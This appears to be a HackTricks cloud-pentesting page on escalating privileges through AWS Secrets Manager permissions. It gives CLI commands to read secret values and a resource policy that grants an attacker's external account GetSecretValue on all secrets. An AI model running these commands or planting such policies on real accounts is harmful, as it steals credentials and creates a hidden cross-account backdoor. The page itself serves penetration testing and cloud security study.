1.7 KiB
AWS - Secrets Manager Privesc
{{#include ../../../../banners/hacktricks-training.md}}
Secrets Manager
For more info about secrets manager check:
{{#ref}} ../../aws-services/aws-secrets-manager-enum.md {{#endref}}
secretsmanager:GetSecretValue
An attacker with this permission can get the saved value inside a secret in AWS Secretsmanager.
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
Potential Impact: Access high sensitive data inside AWS secrets manager service.
Warning
Note that even with the
secretsmanager:BatchGetSecretValuepermission an atatcker would also needsecretsmanager:GetSecretValueto retrieve the sensitive secrets.
secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)
With the previous permissions it's possible to give access to other principals/accounts (even external) to access the secret. Note that in order to read secrets encrypted with a KMS key, the user also needs to have access over the KMS key (more info in the KMS Enum page).
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}
{{#include ../../../../banners/hacktricks-training.md}}